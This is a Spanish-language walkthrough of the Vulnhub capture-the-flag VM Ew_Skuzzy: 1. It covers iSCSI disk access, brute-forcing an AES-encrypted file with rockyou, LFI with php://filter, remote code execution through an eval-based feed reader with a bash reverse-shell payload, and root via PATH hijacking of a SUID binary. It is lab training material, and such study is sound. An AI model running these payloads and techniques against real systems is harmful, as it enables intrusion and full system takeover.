node.session.err_timeo.tgt_reset_timeout = 30
node.session.err_timeo.host_reset_timeout = 60
node.session.iscsi.FastAbort = Yes
node.session.iscsi.InitialR2T = No
node.session.iscsi.ImmediateData = Yes
node.session.iscsi.FirstBurstLength = 262144
node.session.iscsi.MaxBurstLength = 16776192
node.session.iscsi.DefaultTime2Retain = 0
node.session.iscsi.DefaultTime2Wait = 2
node.session.iscsi.MaxConnections = 1
node.session.iscsi.MaxOutstandingR2T = 1
node.session.iscsi.ERL = 0
node.session.scan = auto
node.session.reopen_max = 0
node.conn[0].address = 192.168.2.14
node.conn[0].port = 3260
node.conn[0].startup = manual
node.conn[0].tcp.window_size = 524288
node.conn[0].tcp.type_of_service = 0
node.conn[0].timeo.logout_timeout = 15
node.conn[0].timeo.login_timeout = 15
node.conn[0].timeo.auth_timeout = 45
node.conn[0].timeo.noop_out_interval = 5
node.conn[0].timeo.noop_out_timeout = 5
node.conn[0].iscsi.MaxXmitDataSegmentLength = 0
node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144
node.conn[0].iscsi.HeaderDigest = None
node.conn[0].iscsi.DataDigest = None
node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD

 Lo siguiente es conectarse a este servicio con el flag --login
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260 --login
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.2.14,3260] successful.


 Ahora se verifica la tabla de particiones de disco.
$ sudo fdisk -l
...
Disk /dev/sdb: 1 GiB, 1073741824 bytes, 2097152 sectors
Disk model: VIRTUAL-DISK    
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Es hora de montar este disco, se crea una carpeta y se monta este disco.
# mount /dev/sdb sdb 

# ls
bobsdisk.dsk  flag1.txt  lost+found

 

Se a encontrado la primer flag
# cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{********************************327f4dd}

Let's see how you go with the next one...

 

Se tiene otro disco pues tambien se intenta montar en otra carpeta.
# mount bobsdisk.dsk ../bobs


Se comprueba los archivos de bob.
# ls
lost+found  ToAlice.csv.enc  ToAlice.eml

 

Se abre el archivo ToAlice.eml se encuentra la flag2 y un monton de pistas para lo que viene.
# cat ToAlice.eml
G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly.

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note.

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{******************************d23d3a7f}


 

Estas son algunas de las pistas

  • -md sha256
  • symmetric key crypto algorithm
  • ROCKYOU
  • 256 bit 
  • competition among crypto geeks in October 2000
  • it's all symmetric keys from here on out.
     

Lo que sigue es hacer un ataque de fuerza bruta contra el archivo encriptado, con las pistas se reduce considerablemente la cantidad de intentos. Se estraen todos los strings de 32bytes (2^8*32=256bites) de rockyou.
$ cat ../rockyou.txt | awk 'length($1)==32'> key.txt


Ahora con un pequeño script se crea que ejecute el siguiente comando y le pase una contraseña desde la lista recien creada.
pswd: supercalifragilisticoespialidoso
openssl aes-256-cbc -d -k pswd -in ToAlice.csv.enc -out ToAlice.csv -md sha2569


Despues de obtener el archivo con la contraseña correcta, se comprueba
# cat ToAlice.csv
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?


Asi pues, se escanea las nuevas rutas
$ gobuster dir -u http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/index.php            (Status: 200) [Size: 969]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/welcome.php          (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/flag.php             (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/reader.php           (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/party.php            (Status: 200) [Size: 17]
Progress: 439936 / 441122 (99.73%)

En este se encuentra con una vulnerabilidad de LFI, pero al intentar vulnerarla.

 

Pero en la ruta /c2444910794e037ebd8aaf257178c90b/?p=reader, se accede a una direccion local, al ir a esa direccion se encontro con este archivo.

 

Si no me equivoco, esas ##tags## estan funcionando y las de php estan ejecutando el print. Para acceder al archivo /flag.php gracias a este blog, se puede explotar en la parte donde hace el llamado a una url, se hace el cambio por el protocolo filter y finaliza con el archivo asi.
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
                          


 

Y pasando ese hash a base64 se obtiene esto.
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>


Al probarlo con la ruta reader.php, aparecio lo siguiente
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
        $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
            // then good luck :) But.. You have the source anyway, right? :)
        if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
        }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "<br /><br />";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) {
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}

 

Luego de improvisar un poco con el buen burpsuit, la key que se necesita es la misma flag4


Al intentar de cambiar la url a la local con un servicio web con un archivo que contiene una reverse shell, funciona hasta, pero no ejecuta el archivo, asi que descargo el archivo data.txt, y si funciono. A partir de ahi se comenzo a probar diferentes comandos para comprobar cual podia funciona, gracias a este post, se inyectar el comando correcto para que se ejecutara la shell.
##php##
print("See? Hacker proof,required!");
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");
##php##
  

Previamente dejando un puerto para escuchar, se pasa la url con la key y la ruta del archivo txt desde mi local.
$ nc -lvnp 4567

http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=reader&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=http://192.168.2.5:8000/dataall.txt

 

Y ya se tiene acceso, ahora a buscar un punto para escalar en el sistema.
www-data@skuzzy:/home/skuzzy$ find / type f -perm -04000 -ls 2>/dev/null
find / type f -perm -04000 -ls 2>/dev/null
    18326     16 -rwsr-xr-x   1 root     root        14864 Jan 18  2016 /usr/lib/policykit-1/polkit-agent-helper-1
    16689     40 -rwsr-xr-x   1 root     root        38984 Feb  4  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    17467    420 -rwsr-xr-x   1 root     root       428240 Aug 12  2016 /usr/lib/openssh/ssh-keysign
    16114     44 -rwsr-xr--   1 root     messagebus    42992 Jan 13  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      590     12 -rwsr-xr-x   1 root     root          10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
   152231     56 -rwsr-xr-x   1 root     root          56456 Feb 18  2017 /usr/lib/snapd/snap-confine
      394     40 -rwsr-xr-x   1 root     root          39904 Mar 29  2016 /usr/bin/newgrp
      330     76 -rwsr-xr-x   1 root     root          75304 Mar 29  2016 /usr/bin/gpasswd
      269     40 -rwsr-xr-x   1 root     root          40432 Mar 29  2016 /usr/bin/chsh
    16707     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newuidmap
    18335     24 -rwsr-xr-x   1 root     root          23376 Jan 18  2016 /usr/bin/pkexec
      267     52 -rwsr-xr-x   1 root     root          49584 Mar 29  2016 /usr/bin/chfn
    17780     52 -rwsr-sr-x   1 daemon   daemon        51464 Jan 15  2016 /usr/bin/at
    16706     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newgidmap
      405     56 -rwsr-xr-x   1 root     root          54256 Mar 29  2016 /usr/bin/passwd
      489    136 -rwsr-xr-x   1 root     root         136808 Jan 21  2017 /usr/bin/sudo
   149630     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   131134     40 -rwsr-xr-x   1 root     root          40152 Dec 17  2016 /bin/mount
   131165     40 -rwsr-xr-x   1 root     root          40128 Mar 29  2016 /bin/su
   149660    140 -rwsr-xr-x   1 root     root         142032 Jan 29  2017 /bin/ntfs-3g
   131148     44 -rwsr-xr-x   1 root     root          44168 May  8  2014 /bin/ping
   131149     44 -rwsr-xr-x   1 root     root          44680 May  8  2014 /bin/ping6
   131183     28 -rwsr-xr-x   1 root     root          27608 Dec 17  2016 /bin/umount
   157770     12 -rwsr-xr-x   1 root     root           8736 Mar  2  2017 /opt/alicebackup

 

Se ejecuta el binario de alicebackup y esto pasa.
www-data@skuzzy:/home/skuzzy$ /opt/alicebackup
/opt/alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ssh: Could not resolve hostname alice.home: Name or service not known
lost connection


Como se utiliza no un path absoluto para ejecutar el id, se copia bash en un archivo en /tmp, se exporta el path y con suerte se obtiene acceso a root.
www-data@skuzzy:/tmp$ cp /bin/bash id
cp /bin/bash id
www-data@skuzzy:/tmp$ export PATH=/tmp/:$PATH
export PATH=/tmp/:$PATH
www-data@skuzzy:/tmp$ /opt/alicebackup
whoami
root

 

Para obtener el utimo flag, se encuentra en /root, les dejo parte del mensaje.
cat /root/flag.txt
Congratulations!

flag5{*******************************96d89f6a}



Muchas gracias a @vortexau que nos brindó esta VM. Hasta la próxima.

Vulnhub: Ew_Skuzzy: 1
Referencia: community.fs.com
Referencia: diablohorn.com
Referencia: stackoverflow.com